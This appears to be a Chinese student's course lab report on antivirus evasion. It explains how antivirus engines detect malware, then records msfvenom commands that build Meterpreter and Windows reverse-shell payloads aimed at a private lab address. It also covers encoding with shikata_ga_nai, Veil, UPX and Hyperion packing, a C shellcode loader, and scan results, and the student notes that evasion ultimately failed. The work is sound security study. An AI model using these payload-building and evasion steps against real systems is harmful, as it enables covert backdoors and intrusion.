1.实验内容
1.1具体内容
本周主要学习了恶意代码的检测原理和免杀技术实现方法,包括:
- 理解杀毒软件的检测机制和免杀基本原理
- 掌握Msfvenom、Veil等工具的使用方法
- 尝试进行压缩加壳和加密加壳处理
- 编写C语言加载器实现内存注入技术
- 综合应用各种免杀技术规避杀软检测并建立回连
1.2回答问题
(1)杀软是如何检测出恶意代码的?
杀毒软件主要通过识别恶意代码的特征或异常行为来实现检测:
- 特征码检测原理:通过提取已知恶意代码的独特二进制片段建立特征库,扫描时进行匹配识别。
- 行为检测原理:监控程序运行行为,发现未授权的摄像头调用、远程反向连接等恶意特征时进行拦截。
- 启发式检测原理:基于恶意代码的共同逻辑建立规则,符合多条可疑规则即判定为潜在威胁。
(2)免杀是做什么?
免杀的目标是让恶意代码在杀软开启的环境中,既不被识别为威胁,又能正常执行核心功能。通过编码器修改payload特征码、重写代码逻辑或使用内存加载技术,使后门程序能够在本地杀软监控下顺利运行,并回连控制端。
(3)免杀的基本方法有哪些?
- 规避特征码检测:通过多次编码、重写代码逻辑破坏恶意特征片段
- 隐藏恶意行为:采用延迟执行、伪装正常行为、分段执行等技术
- 伪装载体与格式:更换文件格式、加壳压缩改变文件形态
- 内存加载:使用C+Shellcode内存加载、进程注入等技术避免文件检测
2.实验过程
2.1利用MSF编码器生成免杀payload
(1)只进行一次shikata_ga_nai编码,生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f exe -o msf_encoded0.exe
命令中的-b '\x00'是为了排除空字节,防止payload失效。

将生成的msf_encoded0.exe程序通过winscp传回我的本机,并进行恶意文件检测。
检测网址:https://www.virscan.org

在另一恶意文件检测网站https://www.virustotal.com/

(2)用msfvenom进行5次shikata_ga_nai编码,生成 EXE文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe -o msf_encoded.exe

-i 5表示指定编码迭代次数为5次,通过多次编码进一步混淆payload特征,降低被特征码检测到的概率。
进行恶意文件检测

在同一网站我又重新检测,还是12/48,比较稳定。
(3)用msfvenom进行20次shikata_ga_nai编码,生成EXE文件

进行恶意文件检测,最后一个检测的特别慢,大概检测了8分钟。

(4)用msfvenom进行1次shikata_ga_nai编码,生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4445 -f jar -o msf_java_backdoor.jar
命令中的-f jar是指定输出格式为Java归档文件Jar,因为Jar通常用于正常Java程序,可能降低杀软的扫描优先级。

再次进行恶意文件检测,通过对比可见,编码次数对于躲避恶意文件检测确实有一些作用,但微乎其微。

(5)用msfvenom进行生成10次编码的jar包
进行恶意文件检测

2.2使用Veil进行免杀处理
(1)安装veil
先进行更新,然后使用sudo apt -y install veil进行安装。


进入Veil主界面后,通过use evasion进入子界面,使用list列出所有支持的免杀模块。

(3)选取C语言反向TCP模块
设置IP与监听端口后,通过generate生成免杀文件。


进行恶意文件检测


2.3 使用加壳工具
(1)生成基于Python的Meterpreter反向TCP载荷。
因权限不足,我先为文件加权,再使用generate生成


进行UPX压缩处理。此命令中的-9是指定最高压缩级别,共有1-9个级别,压缩率越高,对特征码的隐藏效果可能越好。

寻找到hyperion所在的目录

把源程序通过cp移动过来

进行Hyperion加密加壳wine ./hyperion.exe -v ./veil_python_ecp_upx.exe ./veil_python_ecp_final.exe

进行恶意文件检测


(2)生成基于go的Meterpreter反向TCP载荷
进行压缩和加密加壳


进行恶意文件检测

可见添加壳后效果不佳,应该是各杀毒软件都已经记住了相应的特征码。
2.3使用C+Shellcode
生成Shellcode并保存为C数组格式
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.29.134 LPORT=4462 -f c -o shellcode.c

将生成的buf注入下文代码:

保存为shellcode_loader.c
使用Kali自带的交叉编译器i686-w64-mingw32-gcc将C代码编译成32位Windows可执行文件

2.4综合技术应用测试
对于之前使用c+shellcode方式生成的程序进行加压缩处理,并进行恶意文件检测,被发现的概率显著降低

进行加密加壳处理

进行恶意文件检测,被检测为木马的概率更高了。

关闭杀软,测试程序能否正确回连

开启杀软,但很可惜最终也没有实现免杀和杀软开启条件下的回连效果,被迅速查杀了。

我的360安全卫士是

3.问题及解决方案
- 问题1:kali机上为了保护python环境,所以不允许我随意安装包
- 解决方案:创建虚拟环境myenv,并重新安装,可以正确配置pycryptodome等库,这个本来是用于综合技术中的加密方式的,但是因为我那个程序尚需修改,没有写进博客里。
- 问题2:Wine运行Hyperion不成功
- 解决方案:找到Hyperion实际安装目录,使用正确路径执行加密命令
![image]()
- 解决方案:找到Hyperion实际安装目录,使用正确路径执行加密命令
- 问题3:C+Shellcode程序无法建立回连
- 解决方案:通过使用简单的payload进行测试,发现第一个问题是网络端口错误,但改正后仍不行,最后发现是代码涉及到权限的问题。
![image]()
- 解决方案:通过使用简单的payload进行测试,发现第一个问题是网络端口错误,但改正后仍不行,最后发现是代码涉及到权限的问题。
4.学习感悟
在学习知识方面,这次实验让我对恶意代码的构成和防护有了更全面的认识,也让我深刻意识到现在的安全防护技术非常强。如今免杀技术百花齐放,而安全厂商也在不断更新检测算法,这种竞争无疑促进了双方的发展。即使我尝试了各种各样的措施,程序仍然会被360安全卫士检测到,被识别为木马甚至直接删除。我尝试使用AES加密Shellcode,并生成密钥和IV。但是即使关掉免杀也无法正确回连,而且在检测中更是出现了0/48的奇怪成绩,这足以说明我的程序内部有问题。时间所限,我未能继续改进,以后的实验我会尽早完成,给这种加强版调试留出时间。
在学习方法方面,我也掌握了kali机上的快捷键,感觉方便很多。而且对于较多分点的实验,一定要注意每张截图对应什么内容,否则在全部做完以后再查找就会非常麻烦。
5.参考资料
- https://gitee.com/wildlinux/NetSec/attach_files
- https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
